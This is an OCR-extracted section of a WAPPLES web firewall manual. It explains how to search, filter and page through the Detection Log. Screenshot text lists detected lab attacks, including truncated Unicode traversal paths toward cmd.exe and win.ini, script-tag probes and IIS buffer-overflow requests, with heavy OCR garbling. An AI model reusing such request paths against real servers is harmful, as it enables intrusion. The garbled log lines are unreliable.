Stealth Commanding 102.168.3.156  ? (locdl) 192.168.3.153/scriptsl. OO, /win.. 192.168.3.153:80 9/15/2010 5:52:30 AM D Eror code A

Uricode Directory Trav... 192.168.3.156 7 (ocdl)  192.168.3.153/scriptsl. OO, Jwin.. 192.168.3.153:80 9/15/2010 5:52:39 AM DEnorcode A

Stealth Commanding 192168315 7 (ocd) 192.168.3.153/aaspf O0%1C. /..  192168.3153:80 0/15/2010 5:52:30 AM GUEmorcade A

Uricode Directory Trav... 192.168.3.156 7 (ocdl)  192.168.3.153/a.a. 0%IC./..... 192.168.3.153:80 9/15/2010 5:52:39 AM DEnorcode A

Trwalid URI 182.168.3.156 7 (ocd) 192.168.3.153/aap. 0%IC. /... 192.168.3.153:60 9/15/2010 5:52:39 AM DErorcode A

Unicode Directory Trav... 192.168.3.156 7 (ocal) 192.168.3,158/adsamples/. O0..... 192.168.3.153:80 9/15/2010 5:52:39 AM HUEmorcode A

| nic o D TR X = 2 ool TR R TR s MO L AL AR X2 Y1) T e o ol

Fig. VI1-1. Detection Log

The detection log window is largely divided into the toolbar at the top and the log
list at the bottom. [Website], [Period], and [View] of the toolbar are used when
searching the list of logs. You can check the log directly from the list or call the
context menu for log management.

Up to 10,000 detection logs can be viewed at once.
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1. Search

Detection log tools provide the functions for the administrator to select [Website],
[Period], and [View (Filter)] of the log list freely when searching the required
logs.

1.1 Search by Site

Select the website to be searched from the site’s dropdown list. Selecting [All]
makes all registered websites the target of the search. Selecting [View
Description] or [View Name] from the list lets you view the list of websites by
name or description. For the registration of website name and description in
[X111.2.2 Add/Edit Web Server]

[@ Customer1 - WAPPLES Management ConsolePolicy/Log sync(PLS) mode is runni (=63
mﬁ}: fﬁ'@ C@ @ { Websites| @ Whole v ‘ﬂ?ﬁ&
A 2 | —
waemss  AddTeb  Detectionlog Dastboard  Audtlog Moritoring  Poly  Report Perid] S2192.168.3.153 Setting Wizarel
2 pentasecurity.com

? Recent 1 day. Whole 2 Unregistered website /42 page v
Rule Name Source IP Courtry  URI Destination Addr... Ti Risk ~
In Block 192168.3.156 7 (oca)  <Unregistered website> 127.0.0.1 o fLudew Descrintian L

Cross Site Scripting 192.163.3.156  ? (ocd) 192.168.3.153/servitsiMsgPage  102.168.3.153:80 9/15/2010 5:54:14 &M DErorcode | A

Ip Block 192,168.3.156 7 (ocal) <Unregistered website> 127.0.0.1 9/15/2010 S:53:28 AM Br Disconnec... | /o

Cross Site Scrpting 192.168.3.156  ? (ocd) 192.168.3.153/serviet/org.apache.... 192.168.3.153:80 9/15/2010 S:53:28 &M eDEmorcode | A

Cross Site Scripting 192.168.3.156 7 (ocd) 192.168.3.153/serviet/org.apache.... 102.168.3.153:80 9/15/2010 S:53:28 AM eDEmorcode | A

Cross Site Scripting 192.163.3.156  ? (ocd) 192.168.3.153/serviet/MsgPage  102.168.3.153:80 0/15/2010 S:5&28 AM GDErorcode | A

Cross Site Scripting 102.168.3.156 7 docal)  192.168.3.153/test htrl 192,166.3.153:60 9/15/2010 526 AM DErorcode | A

Cross Site Scrpting 192.168.3.156  ? (ocd) 192.168.3.153test.htrl 192.166.3.153:80 9/15/2010 5:53:28 AM eDEmorcode | A

Irwalid HTTR 192.168.3.156 7 (ocal)  <Urregistered websites 192.166.3.153:80 9/15/2010 5:53:28 AM f8 Discornec... | o

Buffer Overfiow 102,168.3.156 7 (ocal) 192.168.3.153/ 102,168.3.153:80 9/15/2010 S:53:28 AM GDErorcode |

Extension Fitering 102,168.3.156 7 (oca) 192.168.3.153/defaultida 192,168.3.153:80 9/15/2010 55328 AM DErorcode |

Buffer Overfiow 192.168.3.156  ? (ocd) 192.168.3.153/defaultida 192.166.3.153:80 9/15/2010 5328 AM eDErorcode | A

Extension Filtering 192.168.3.156  ? (ocd) 192.168.3.153/_vti_bin/_vt_autdl.. 192.168.3.153:80 9/15/2010 S:53:28 aM eDEmorcode | L

Buffer Overfiow 192.168.3.156 7 (ocd) 192.168.3.153/_ii_bin/_vti_autfcl.. 102.168.3.153:80 9/15/2010 S:53:28 AM eDEmorcode | A

Buffer Overflow 102.168.3.156 7 (ocal) 192,168.3.1 ... 102,168.3.153:80 0f15/2010 5:53:28 AM HErorcode L

Buffer Overfiow 192.168.3.156 7 (ocd) 192.168.3.153/<<<<<<<<<<<., 102.168.3.15380 0/15/2010 S:5325 aM DErorcode | [

Cross Site Scrpting 192.168.3.156  ? (ocal) 192.168.3.153/bbs.php 192.168.3.153:80 9/15/2010 552:33 AM eDEmorcode |

SGL Injection 192.168.3.156 7 (ocs) 192.168.3.153/duckjindex. asp 192.168.3.153:80 9/15/2010 5152:33 AM eDEmorcode | L

Stealth Commanding 192.168.3.156 7 {ocal) 192.168.3.153/msadcf., OO../. 0., 192,168.3.153:80 9/15/2010 S:52:39 AM GOErorcode L

Stealth Cammanding 192.163.3.156  ? (ocd)  192.168.3.153/scriots), O%1C. fv.., 102.168.3.153:80 9/15/2010 S:52:30 &M DErorcode |

unicode Directory Trav... 192.168.3.156 2 (local) 192.168.3.153/msadc/. O0../.O... 192.168.3.153:80 9/15/2010 S:52:39 AM wErorcode S

Uricode Directory Trav... 192.168.3.156  ? (ocd)  192.168.3.153/scriptsf. O%1C. ... 192.168.3.153:80 9/15/2010 5:52:39 &M eDEmorcode | L

Irnvalicd LRI 192,168.3.156 7 (oca) 192.168.3.153/scritsf. O%1C, /... 192,168,3,193:80 9/15/2010 5:52:39 AM eDErorcode |

Unicode Directory Trav.. 102.168.3.156  ? (ocal) 192.168.3.15%/scriots( O0..jwin... 102.168.3.153:80 0/15/2010 5:52:30 AM YEmorcode

Stealth Commanding 192.168.3.156 7 (ocd) 192.168.3.153/scripts), O, fwin... 102.168.3.153:80 9/15/2010 5:52:30 &M DErorcode | [

Uricode Directory Trav... 192.168.3.156  ? (ocd)  192.168.3.153/scriptsf. ODL..fwin... 192.168.3.153:80 9/15/2010 5:52:39 &M eDEmorcode |

Stealth Commandng 192.168.3.156 7 (ocd) 192.168.3.153/scriptsf. OO, fwin... 192.168.3.153:80 9/15/2010 5:52:30 AM eDEmorcode | L

Unicode Directory Trav.. 102.168.3.156  ? (ocal) 192.168.3.153/scripts( O0..jwin... 102.168.3.153:80 9/15/2010 5:52:39 AM GYEmorcode

Stealth Cammanding 192.163.3.156  ? (ocd) 192.168.3.153/a.aspf, 0%1C. [ 102.168.3.153:80 9/15/2010 S:52:30 AM DErorcode |

Uricode Directory Trav... 192.168.3.156  ? (ocd)  192.168.3.153/a.asp. O%1C. [.... 192.168.3.153:80 9/15/2010 5:52:39 &M eDEmorcode | A

Irwalid URI 192.168.3.156  ? (ocd) 192.168.3.153/a.asp 0%1C. /... 192.168.3.153:80 9/15/2010 5:52:39 AM eDEmorcode | L

Unicode Directary Trav,., 192,168.3.156  ? (oca) 192.168.3.153/adsamples/. OO..... 192,168.3,153:80 915/2010 S:52:39 AM BOErorcode S

loicoco Dirockor Teou ELa R RCRLY 9 oo dmm /o 2 m_ﬁ!»nmd =Tl I IR R Lokl S (0 A S ST 3 AR %’ﬁ:»m oo y >

Fig. VII-2. Selecting a Website from the Detection Log

1.2 Search by Period

You can search logs by period. The period selection menu is divided into default
period settings and custom-set period. By default, the period is set to [Recent 5
Minutes], [Recent 1 Hour], [Recent 1 Day], [Recent 1 Week], or [1 Month];
selecting [Custom Setting...] allows you to set the period more specifically.
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The most recent custom-set period will be displayed right above [Custom
Setting...]; up to 4 custom settings will appear, and these can be used for a search
within the search.

El

[ Customer1 - WAPPLES Management ConsolePolicy/Log sync(PLS) mode is running.

r@ ga} @ C@ @ wehsites | @ whole v ﬁ?%
waRPLES Add Tab | DetectionLog Dashboard  Audit Log Moritoring  Policy Report Seiiod JRecent 1 <L Vi) Whos Y Setting Wizard
Recent 5 minutes

il Recent 1 day. Whole IRecent 1 haur 4127 N |1f42 page -
Rule Name Source [P Country URD Destination Addr... | Tir Countermeastre Risk o
Ip Block 192.168.3.156 7 (ocd) <Unregstered websites 127.0.0.1 o/l E:EZQE mﬁf“:h W3 Disconrec... | A

Crozs Site Scrioting 192,168.3.156  ? (ocal) 192,16 viets/MsgPage 192,168.2.152:80 % 1lrecent 1 year GUErDr code | A

1p Black 192,168.3.156  ? (ocal) | <Unregistered website> 127.0.0.1 gif— & Disconnec.., |

Cross Site Scripting 192.168.3.156 7 (ocal) 152,16 vietforg.apache.... 192.168.3.153:60 g/1]{Sustam Setting. . GOEmorcode | A

Cross Site Scrioting 192,168.3.156  ? (ocal) 192,16 vletforg.apache.... 192.168.3.153:80 9/15/2010 S:53:26 AM GEmorcode A

Cross Site Scripting 192,168,3.156 7 (ocal)  192,168.3.153fservet/MsgPage 192,168,3,153:80 9/15/2010 5:53:28 AM GUEmorcode | A

Cross Site Scripting 192.168.3.156 ? (ocal) 192.168.3.153/test.htri 102.168.3.153:60 9/15/2010 S:53:28 &AM &2 Eror code 'y

Cross Site Scripting 192,168,3.156 7 (ocal) 192.168.3,153/test.htrl 192,168,3,153:80 9/15/2010 5:53:28 AM GUEmorcode | A

Inwalid HTTP 192.168.3.156 ? (local)  <Unregistered websites 192.168.3.153:80 9/15/2010 5:53:28 AM W Disconnec... | L

Buffer Overflow 182,168.3.156  ? (ocal) 192,168.3.1 192.168.3.193:60 9/15/2010 ::53:28 AM GEmorcode A

Extension Filtering 192.168.3,156 ? (ocal) 192,168.3,153/default.ida 1592,168.3,193:80 9/15/2010 5:53:28 AM % Ervor code A

EBuffer Overflow 192.168.3.156 ? (ocal) 192.168.3.153/default.ida 102.168.3.153:60 9/15/2010 S:53:28 &AM &2 Eror code A

Extension Fitering 192,168.3.156  ? (ocal) 192,168.3.153/_vti_bin/_vt_autfd.. 192.168.3.153:00 9/15/2010 S:53:28 AM GEmorcode A

Buffer Overfiow 192.168,3.156 7 (ocal)  192,168.3,153/_vti_hin/_vti_aut/d.. 192,168.3,153:20 9/15/2010 5:53:28 AM GUEmorcode |

EBuffer Overflow 192.168.3.156 ? (local) 192.168.3.15 102.168.3.153:60 9/15/2010 S:53:28 &AM &) Errar code B

Buffer Overflow 192,168.3.156  ? (ocal) 192,168.3.153<<<<<<<<<<<,., 192.168.3.153:180 9/15/2010 55328 AM GEmorcode A

Cross Site Scripting 192,168.3.156  ? (ocal)  192.168.3,158/bbs.php 192,168,3,153:80 9152010 S:52:39 AM GUEmorcode |

S0L Injection 1921683156 7 (ocal)  192.168.3.153/duck/index.asp 192.166.3.153:80 9/15/2010 5:52:39 AM GDEnorcode | A

Stealth Commanding 192,168.3.156  ? (ocal) 192,168.3.153/msadc. 00,4/ O... 192.166.3.153:60 9/15/2010 5:52:39 AM GYErorcode | AL

Stealth Commanding 192.168,3.156 7 (ocal]  192,168.3,153fscriptsf, %1 fw.., 192,168.3,153:80 9/15/2010 5:52:39 AM GUEmorcode |

Uricode Directory Trav... 10921683156 ? (ocal) 192.168.3.153/msadcf.. 00,/ O... 192.168.3.153:60 9/15/2010 S:52:39 &M &) Errar code B

Uricode Directory Trav,., 192,168.3.156 7 (ocal) 192,168.3.153/scriptsf. O%1C. fw... 192,168,3.153:60 9/15/2010 5:52:39 AM GYErorcode | AL

Trwealid URT 192.168,3.156 7 (ocal]  192,168.3,153fscriptsf, %1 fw.., 192,168.3,153:80 9/15/2010 5:52:39 AM GUEmorcode |

Uricode Directory Trav... 192.162.3.156 7 (ocal)  192.168.3.15%soriptst. OO, Jwin... 192.168.3.153:80 9/15/2010 $:52:33 M GUEmorcode | A

Stealth Commanding 192,168.3.156  ? (ocal) 192,168.3.153/scripts’. OO, fwin.,. 192.166.3.153:60 9/15/2010 5:52:39 AM GYErorcode | AL

Uricode Directory Trav... 192.168.3.156 7 (ocal)  192.168.3.15%/scriptst. OO, fwin.., 192,168.3,153:80 9/15/2010 5:52:39 AM GUEmorcode |

Stealth Commanding 1921663156 ? (ocal) 192.168.3.15%/scriptsf. OO0, jwin... 192.168.3.153:60 0/15/2010 5:52:33 AM GUEmorcode | A

Uricode Directory Trav,., 192,168.3.156 7 (ocal) 192,168.3.153(scriptsf. OO0, fwin., 192,168.3.153:60 9/15/2010 $:52:39 AM GYErorcode | AL

Stealth Commanding 192.168,3.156 7 (ocal)  192.168.3.153fa.aspf. O%I1C. 192,168,3,153:80 9/15/2010 5:52:39 AM GUEmorcode |

Uricode Directory Trav... 192.162.3.156 7 (ocal) 192.168.3.15%a.aspf. 0%1C../.... 192.163.3.153:80 3/15/2010 $:52:33 AM GDEnorcode | A

Trwealid URT 192,168,3.156 7 (ocal)  192.168.3.153fa.aspf. O0%1C. f..... 192,168,3,153:80 9/15/2010 5:52:39 AM GUEmorcode |

Uricode Directory Trav... 10921683156 ? (local) 192.168.3.153/adsamples.. 0O 102.168.3.153:60 9/15/2010 S:52:39 &AM &2 Eror code A
[y 1nn oo dEc 5 st 400 €02 1Ea et D L fmeo o oo nicionio ceoon i ar= I s

Fig. VI11-3. Detection Log Period Selection Menu

The period selection window that appears when you select [Custom Setting...]
lets you specify the starting time and ending time of the search period. For the
starting time, you can specify the time point before the current time point, e.g., 2
days before, 30 minutes before, 6 hours before, 3 months before, 2 years before,
etc., or choose the year, month, date, hour, and minute specifically. Likewise, for
the ending time, you can specify the time point after the starting time or choose
the year, month, date, hour, and minute specifically or fix the current time point
as the end time to view the logs continuously added in real time. If the ending
time is earlier than the starting time, an error message prompting you to specify
the starting time and ending time again will be displayed.

If you select the first radio button in either the starting time or ending time areas,

the field beside the radio button will only accept numerical values up to 1,000;
any number exceeding 1,000 is considered 1,000.
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Select period E@@

from to

I:l befare ® | 1 :| |h|:|ur V| after

O] |Wednesday, Septermnber V| o O | |

12:00:00 AM B | |

) current:

petiod | from2010-09-15 for 1 hour |

Corfirm ] [ Cancel ]

Fig. VI1-4. Search Period

The following error messages will be displayed in case the user enters an
incorrect value when selecting the period:

Table 76. Period Error Message

Error Message Cause

The starting time is later than the

Value is incorrect. U
ending time.

1.3 Other Search Filters

You can view the list of logs by applying the following filters such that only the
logs you wish to view are displayed:

® Source Address

Rule Name

URL

)

® Country
)

® Hidden Log

“Hidden Log” is the log regarded by the administrator as the log of detections
caused by inappropriate settings or excluded because they have no significant
value. For details on hiding logs, refer to [VII.3 Hiding/Showing Logs] and
[V11.4 Reviewing the Searched Logs].
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Frequently used filters such as “All,” “All (Including Hidden Logs),” and rule
names are provided as basic filters; the user can also define the customized filter
through [Custom Setting ...].

Up to 4 recent filters defined through [Custom Setting...] are saved; they will be
displayed above the [Custom Setting...] option for reuse.

@ ﬁ‘,‘h f@ @ @ Websites | @ Whole v
warmz | AddTab | DetectionLog Dashboad  AuditLog Montorng  Polcy  Repart fagidyl Recent 1 day ey Setting Wiard
? Recent 1 day. Whole Whale(Inchude hidden log) /42 page b
Fule Name source P Country LRI Destination Addr,., Time e Risk ~
Ip Block 1921683156 7 (ocal)  <Unvepstered website> 127.00.1 oy1572010 578 Eggﬁ;g&!‘fﬂﬁ;) A
(Cross Site Scripting 192.168.3.156  ? (ocal)  192.168.3.153/senviets/MsgPage 152.168.3.153:80 9/15/2010 52 Ruie (Cross Site Scripting) A
Ip Block 192.168.3.156  ? (ocal)  <Unvegitered website> 127.00.1 9/15/2010 5:|Rule (Directory Listing) A
Cross Site Scripting 1021683156  ? (ocal) 192.168.3.153/senvetforg.apache.cataling Context/<script>al... 192.168.3.15%:80 9/15/2010S: EE}Z E;’gﬂ’;z’f‘;ﬁm ) A
(Cross Site Scripting 192168.3.156 7 (local) 1921683, 153)senvt/org apache catsina ContanerSenviet/<... 192.168.3.15%:80 of15{2010 i e (et TRCE (HET A
(Cross Site Scripting 192.168.2.156 7 (ocal) 192.168.3.153fserviet/MsgPage 102.168.3.152:80 9/15/2010 St Rule {Ircludk Irjection) A
Cross Site Stripting 192.168.3.156  ? (ocal) 192.168.3.153ftest bt 192.168.3.153:80 9/15/2010 5 Rule (nput Content Fiterng) | 4,
Cross Site Scripting 192.168.2.156  ? (ocal) 192.168.3.153/test bt 192.168.3.153:80 /152010 5iffude gm}:g ERT‘T)P) A
Invalid HTTP 192168215  ? (omal) <Unvegistered website> 192.168.3.153:80 91520105 2 e (1p Flack) Py
Buffer Overflow 192.166.2.156  ? (ocal) 192.166.3.153/ 102.168.3.153:80 5/15/2010 S Rule (P Fitering) L
Extension Fitering 1021682156 ? (ocal)  102.168.3.153/default.ida 102.168.3.153:60 5/15/2010 5| Rule (Parameter Tampering) S
Buffer Overflow 192168315 ? (ocal) 192.168.3.153/defauitica 192.08.3.153:80 91520105 fH4e E:ng ;‘1’2&‘“:‘2‘23:9) A
Extension Fitering 192,168.3.156  ? (ocal)  192.168,3,153/_vti_bin_vt_auit/chrwser.cl 192,168.3.15380 9/15/2010 5l puie (Privacy Output Fitering) | 25
Buffer Overflow 192,168.3.156  ? (ocal)  192,168,3,153/_vti_bin_vti_auit/chrwser.cl 192,168.3,153:80 9/15/2010 5 Rule: (Request Header Fitering) | 2
Buffer Overflaw 192.168.3.156  ? (local) 192.16¢ 192.168.3.153:80 9/15/2010 5| Rule (Request Method Fitering)]
Buffer Overfiow 192168515 P (oca) 192.166.3.153/<<<<< 192108315300 sy s | BN A
Cross Site Scripting 192.168.3.156  ? (ocal) 192.168.3.153/bbs.php 152.168.3.153:80 9/15/2010 5 Ruie (Suspicious Acress) ey
0L Injection 192.168.3.156  ? (ocal)  192.168.3.153/duckfindex. 3sp 102.168.3.152:80 0/15/2010 5:f|Rule (Unicocde Directory Traversy /A
Stealth Commandng ~ 192.168.3.156 7 (ocal)  192.166.3.153msadc/. 00/ 00 /..O0.. /winnt/system3... 192,168.3.153:00 /152010 5 Rl (URI Access Cantral) A
Stealth Commandng ~ 192.168.2.155 7 (ocal)  192.168.3.153/scriptsf. 0%1C miee  102.166.3.15380 of1sjanin s e (U Defned Pattem) A
Rl (Website Defacement)
Uricode Difectory Trav.. 102168.2156 2 (ocal) 102.168.3.153fmsade/. 00../.O0../..00. jwinnt/syster3... 192.168.3.153:80 5/15/2010 5 N
Unicode Directory Trav... 102.168.2.156  ? (ocal) 102.168.3.1 riptsf.. O0%1C 102.168.3.153:80 9f15/2010 5:] Custom Setting L
Tnvalcl URL 192.168.2.156  ? (ocal) 192.166.3.153/scriptsf. O%1C. 152.168.3.153:80 0/15/2010 5:52:35 AM Bror code L.
Unicode Directory Trav... 1921683156 2 (ocal)  192.168.3.153/scriptsf. 0. fwindows/notepad e 12.166.3.153:60 5/15/2010 5:52:39 AM GOEnorcode A
Stedlth Commanding 1921663156 ? (ocal)  192.168.3153/scriptsf, OO,/ jermdl e 192,168.3.153:80 9/15/2010 5:52:39 AM GEmorcode A
Unicode Directary Trav.,.  192.168.3156  ? (local) 192.168.3.1 fiptsf., 0./ fernd.eve 192,168.3,153:80 9/15/2010 5:52:39 AM WEmorcode A
Steath Commandng 1921683156 ? (ocal)  192.168.3,153/scriptsf. OO, fwinntfsystemaz/emd.exe 192,168.3, 153680 9/15/2010 5:52:39 AM Enorode A
Unicode Directory Trav... 192.168.3.156 7 (ocal)  192.168.3.153fscriptsf. O..fwinnt/system32/emd.exe 152.168.3.153:80 9/15/2010 5:52:39 AM SIEnorcode A
Stealth Commandng ~ 192.168.3.156 7 (ocal) 192.168.3.153(a.aspj. O%1C../.. O%1C. /winntfwin ini 192.168.3.153:80 9/15/2010 5:52:33 AM GOEnorcode A
Unicocte Directory Trav... 1921683156 ? (ocal) 192.168.3.153(a.aspf. O%1C../.. O%1C. /winntfwin ini 192.168.3.153:80 9/15/2010 5:52:33 AM GOEnorcode A
Tnvaicl URD 192.168.3.156  ? (ocal)  192.168.3.153/a.asp/. O%IC. /.. O%IC../winnt fwin.ni 192.168.3.153:80 9/15/2010 5:52:39 M GOEnorcde A
Unicode Drectory Trav...  192.166.3.156 7 (ocal)  192.16¢ 00.00.00. 00, O0. /win... 102168315380 9/15/2010 5:52:39 AM SEnorode A
e RTCE T C M ST CRPEE RE ST Am o0 iEaon nn=oainceoon au AT ]

Fig. VI1-5. Detection Log View Menu

Selecting [Custom Setting...] from the view menu causes the [Select Log Filter]
window to appear together with the details.

Available log filters include [Source Address], [URI], [Country], [Rule Name],
and [Others]; you can combine filters with “AND.” For the [Source Address],
[URI], [Country], and [Rule Name] tags, you can choose [No Filtering], [Show
the Specified (Selected) Only], or [Show the Unspecified (Unselected) Logs
Only]. If you select [No Filtering], the corresponding item will not be filtered.
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Select Log filter E]@
Source Address | LRI | Countrv| Fule name | ETC

|::u:| ik Filker

v

Please input & IP or one IP range to filker in each line, You can enter format like 192.168.0.100
or 192,1668.0.0/24 ,

Descripti Whole |

Confirm ] l Cancel ]

Fig. VI1-6. Log Filter Selection Window

When selecting the [Source Address], click [Show the Specified (Selected) Only]
or [Show the Unspecified (Unselected) Logs Only] and enter the IP or
IP/(Netmask bit number).

If the IP format is incorrect, the error status will be displayed in the “Description”
area; clicking [OK] causes an error message to be displayed. When the address
you entered is not in the specified format, an error message will appear in the
“Description” area at the bottom. Likewise, clicking [OK] causes a window with
a detailed message on the input error to appear.
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Select Log filter

Source Address | LRI | Countryl Rule name | ETC

|Sh0w Entered only w |

192,168.1.0/24
192,168.10.0§24

or 192,165.0.0/24 |

Please input a IP or one IP range ko Filker ineach line. You can enter format like 192.168.0,100

Descripti S0UrCe (192,168.1.0/24, 192.168.10.0/24) |

I Confirm l ’ Cancel l

Fig. VII-7. Log Filter Selection Window for Specifying the Source Address

The log filter selection window displays the following error messages in case the
user enters incorrect values when setting the source IP address and URI:

Table 77. Log Filter Selection Error Message

Error Message

Cause

Value is incorrect.

The specified source address is not
in IP address format.

Value is incorrect.

The specified URI does not start
with «/.”
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Enter the URI for [URI] filtering in the same manner as the [Source Address]
filter.

Select Log filter

Source Address | LRI Country| Rule name | ETiC

|5h0w Entered only v |

findezc. html
ihead.php|

Please input a URI for each line, URI should be starked with ' except host, You can enter like
‘findes. kel

Descripti|SUUfCE (192.163.1.0/24, 192.163.10.0f247, URI (findex. b, fhead.php) |

[ Confirm ] [ Cancel ]

Fig. VII-8. Log Filter Selection Window for Specifying the URI

Select countries for the [Country] filter in the same manner as the [Source
Address] filter.
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Select Log filter

Source Address | LRI | Country | Rule name | ETC

|5h0w except Selected w |

Select | Country Marme
Afghanistan
Albaria

Algeria

AMmerican Samoa
Andorra

Angola

Anguilla
Anonyrnous Procy
Antarctica

— Antigua and Barbuda Z

([

I

Descrimﬂsource (192,168.1.0/24, 192,168.10.0f24), URI (findex.htrl, /head php), except c|

[ Canfirmn ] [ Cancel ]

Fig. VII-9. Log Filter Selection Window for Specifying the Country

Select rule names for the [Rule Name] filter in the same manner as the [Source
Address] filter.

Select Log filter,

Source Address | URI | Country | Rule name | ETC

| Show Selected only L |

. Rule Marme
Buffer Owerflow
Cookie Poisoning
Cross Site Scripting
Directary Listing D
Errar Handling
Extension Filtering

File Upload
[] 1P Filtering
[] Include Injection

[] Input Content Filtering .
e

[iy]
o

I O B

>

Descripti|SDUFC9 (192,168.1.0/24, 192.168.10.0{24), URI (findex. htrl, fhead.php), except c|

[ Corfirm ] [ Cancel l

Fig. VII-10. Log Filter Selection Window for Specifying Rule Names
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In the [Other] option, you can choose to view all logs or hidden logs only.

Select Log filter, =] E f5__<|

Source Address | URIl Countryl Rule name |ETC

Log skatus

Display Whole logs “

isplay Whole logs
Display hidden log only
Display Whole logiinclude hidden log)

Descripti|50ur59 (192,162.1.0/24, 192,163.10.0/24), URI (findex.htrml, fhead.php), except c|

[ Confirm ] [ Cancel ]

Fig. VI1-11. Log Filter Selection Window for Selecting a Normal Log

1.4 Fast Search

Other than the use of filters, you can right-click the searched logs and select
[View Logs of the Same URI], [View Logs under the Same Rule], and [View

Logs with the Same Source Address]. You can view the detection logs with
relevance to each other using this function.
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[ Customer1 - WAPPLES Management ConsolePalicy/l og sync(PLS) mode is running.

K 4 B g g e TN
warmam | AddTab | Detectionlog Dashboard  Auditlog Moriboring  Polcy  Report Pericd | Recent 1 day | Miew | Whoke ¥, | Setting waard
§ Recent 1 day, Whele 927 N azpae ¥
Rule Mame source P ‘Country URI Destination Addr... Time Countemeasre Risk ]
ip Block 192160315 ? (ocal)  <Urregstered website> 127.0.01 9/15/2010 5:54:14 AM s Dsconnec... L
Cross Site Saripting 192.168.3.1% 7 (bcal) 192,166, 182.166.2.153:60 9/15/2010 5:54:14 AM WEmorcode A
In Block 192168315 7 Oocal)  <Urregistered wetsite> 127.0.04 ©/15/2010 5:53:26 AM
Cross Site Saipting 192,168,315 ? Oocal)  192.160.3,153/servietiorg. apache.cataina.Context/ <scriot>al.. 192166315360 9/15/2010 5:53:20 AM
Cross Site Saipting 192,189.3.15% 7 (ocal)  152,166,3,153/senvietiorg apache.catalna. ContanerServiet/< .. 152.168.3,15360 5/15/2010 5:53:26 AM
(ross Site Soripting 192188315 7 (local) 192.168.3.153/sarviet/MsgPage 152.166.3.153:80 9/15/2010 5:53:28 AM
(Cross Site Soripting 192.1688.3.156 ? (bcd) 192.168.3153ftesthtrr 102.168.2.153:80 9/15/2010 5:53:28 AM
Cross Site Seripting 192.168.3.156 ? focal) 192.168.3.153 test htrl 192.168.3.153:80  9/15/2010 5:53:28 AM
inwaiid HT TR 192.168.3.0% 7 (ocal)  <urregstered website> 192.168.2.153:80 9/15/2010 5:53:28 AM
Buffer Ovarflow 192160315 7 (ocal) 1921683153/ /152010 5:53:28 AM
Extansicn Fittering 162.168.3.1% (lcal)  192.168.3, 153/ default.id 182.166.3.. ©/15/2010 5:53:28 AM &7 Error code
Euffe " wlt.ids /2010 5:53:26 A
Extensen Fiterra 192160315 2 Ooeal)  192,160.3,155/_vhbind_vt_antjchl LA O 9/15/2010 5:53:26 AW
Buffer Overflow 192189315 7 (ocal)  152.166,3.153/_vil_binf_vo_autjceuli e bg SF15/2010 5:53:26 AM

Buffer Overflow 1921883156 7 (bcal) 192.188.3.153/A0AnAnAAAARARARR  Recover hidden o, ©/15/2010 5:53:28 AM

Buffer Overfiow 192.168.315% 7 focd) 192.1683.153/ccccccccczcecl v e trtiog 9/15/2010 5:53:28 AM

Cross Site Scripting 192.168.2.156 7 (oca) 192.168.3.153/bbs.orp View Rule log anky 9/15/2010 5:52:30 AM

SO Injection 192.168.2.156 7 (loca)  192.168,3.153/duckfindex.asp. View Same source g anky 9/15/2010 5:52:39 AM

Stealth Commandig  192.168.3.15% 7 (local) 192.168,3.153mead. 000,001 e 9/15/2010 5:52:39 AM

Staalth Commanding 182160315 7 (ocal)  192.160.3.153/srpty DRI IR c it ng ©15/2010 5:52:33 AM

Unicode Cirectary Trav... 1621683156 7 (bcd) 192.168.3.153msace), 00,7 O0. 8] sond smerche bog satistis... ©/15/2010 5:52:39 A

Unicode Cirectary Trav... | 192.188.2.15%6 7 (ocal)  192,168.3,153/scripts), CPLC. fwinr syremzremorens 9/15/2010 5:52:39 AM

Irwalic] URT 192.168.3.156 ? (local) 1921683, 153/scripts). P 1C. fwinnt fsystem32fcmd.exe 192.168.3.153:80 9/15/2010 5:52:39 AM

Unicode Cirectory Trav. 192.158.3.1%6 ? (iocd) 192.168.3.153/sopty. OO fwindowsfnotepad.exe 192.168.3.153:80 9/15/2010 5:52:39 AM

Staalth Commanding 192.168.3.156 ? (oca) 192.168.3.153/scrptyf.. OO fwinnt fsystam32/cmd.ee 152.168.3.153:80  9/15/2010 5:52:39 AM

Unicoda Diectory Trav... 192.168.3.156 7 (bcal) 192.168.3.153/scipty. ODL.fwinnt/system32jcmd.ens 192.168.3.153:80 9/15/2010 5:52:39 AM

Stealth Conmandig  192.168.3.156 | ? (o) 192.168,3153/scrpty, DO fwrntsystemazicmi. e 192.168.2.153:80 9/15/2010 5:52:39 AM

Uncoda Cirectory Trav... 192.168.3.1% 7 (locsl)  192.168.3.153/scrpty). OD.. 182.160.3,15260 8/15/2010 5:52:39 AM

Staalth Commanding 192.168.3.1% 7 (bcal) 192.168.3.153fa.ap, O0%1C..f. O%1C. fwinnt/winni 182.166.2.153:60 9/15/2010 5:52:38 AM

Unicode Cirectary Trav... 1521663156 7 (bocal)  192.168.3.153/a @/, 0%1C../. O%1C. Jwinntiwin.ni 182166315360 9/15/2010 5:52:30 AM

vk URT 192188315 7 Oocal)  192.166.3,153/a.a0, O%1C. A O%1C Jwinntivin il 162.166.3,15360 9/15/2010 5:52:39 AW

Unicode Cirectory Trav, 192.168.3.156 ? (loca) 192.168,3.153/akbanples/. 00..00.00. 00. 00, /win... 132.168.3.153:60 9/15/2010 5:52:39 AM 4

—

Fig. VI1-12. Log Filter in the Shortcut Menu of the Detection Log

1.5 Viewing the Search Results

The WAPPLES main window displays the name of the detection log rule, address,
country URL, and time information as a result of a search performed based on the
provided conditions. The number of logs searched will be indicated on the upper
right side; each page will display 250 logs, and you can navigate through them
with the page list on the upper right side.

Logs can be shown as much as 250, 1000, and all logs and it is changeable by
clicking [-] and [+] buttons.

Each item in the page list represents 100 pages; the list is refreshed in unit of 100
pages when you click [Next Page] or [Previous Page] at the bottom.

If click the checkbox [View in real time], you can see that 250 detection logs are

refreshed every 10 seconds to update the search result. If it is not checked, then
the current status is maintained without refreshing.
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©]

stomer1 - WAPPLES Management CansolePolicy/Log, sync(PLS) mode

r——\ m 1@ C@ @ wetsites | € Whole ~ %M
@ = &

wammzs | AddTsb | Detectionlog Dahboxd  Audtlog Montorng  Poly  Repott i Rocent 1day 8 ew ] Whok Satting Wiard
] Recent 1 clay. Whole 4127 N [1jazpage v

Rl Name Source 1P Country  URI Destination Addr... Time Countermea: ~

Ip Block 1921683156  ? (local) <Unregistered website> 127.0.0.1 9/15/2010 554 14 &AM 3 Discon

(Cross Site Scripting 192.168.3.156  ? (ocal) 192.168.3.153/servlets/MsoPage 192.168.3.153:80 915/2010 S5+ 14 &M SN co

